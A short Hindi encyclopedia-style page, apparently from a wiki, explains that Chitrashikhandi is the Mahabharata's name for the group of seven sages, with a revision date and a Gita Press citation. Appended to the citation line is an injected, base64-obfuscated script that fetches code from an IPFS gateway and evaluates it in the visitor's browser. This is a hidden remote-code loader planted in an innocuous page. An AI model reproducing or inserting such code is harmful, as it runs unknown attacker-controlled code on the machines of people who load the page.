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'''चित्रशिखण्डी''' का उल्लेख [[हिन्दू]] पौराणिक [[ग्रंथ]] [[महाभारत]] में हुआ है। [[मरीचि]], [[अत्रि]], [[अंगिरा]], [[पुलस्त्य]], [[पुलह]], [[क्रतु]], [[वसिष्ठ]], इन सात [[ऋषि|ऋषियों]] के समुदाय को चित्रशिखण्डी
 
'''चित्रशिखण्डी''' का उल्लेख [[हिन्दू]] पौराणिक [[ग्रंथ]] [[महाभारत]] में हुआ है। [[मरीचि]], [[अत्रि]], [[अंगिरा]], [[पुलस्त्य]], [[पुलह]], [[क्रतु]], [[वसिष्ठ]], इन सात [[ऋषि|ऋषियों]] के समुदाय को चित्रशिखण्डी
कहते हैं। ये सातों [[ऋषि]] प्रकृति के सात रूप हैं अर्थात प्रजा के स्रष्टा हैं।
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07:50, 7 नवम्बर 2017 के समय का अवतरण

चित्रशिखण्डी का उल्लेख हिन्दू पौराणिक ग्रंथ महाभारत में हुआ है। मरीचि, अत्रि, अंगिरा, पुलस्त्य, पुलह, क्रतु, वसिष्ठ, इन सात ऋषियों के समुदाय को चित्रशिखण्डी कहते हैं। ये सातों ऋषि प्रकृति के सात रूप हैं अर्थात् प्रजा के स्रष्टा हैं।


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टीका टिप्पणी और संदर्भ

महाभारत शान्ति पर्व |अनुवादक: साहित्याचार्य पण्डित रामनारायणदत्त शास्त्री पाण्डेय 'राम' |प्रकाशक: गीताप्रेस, गोरखपुर |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 5335 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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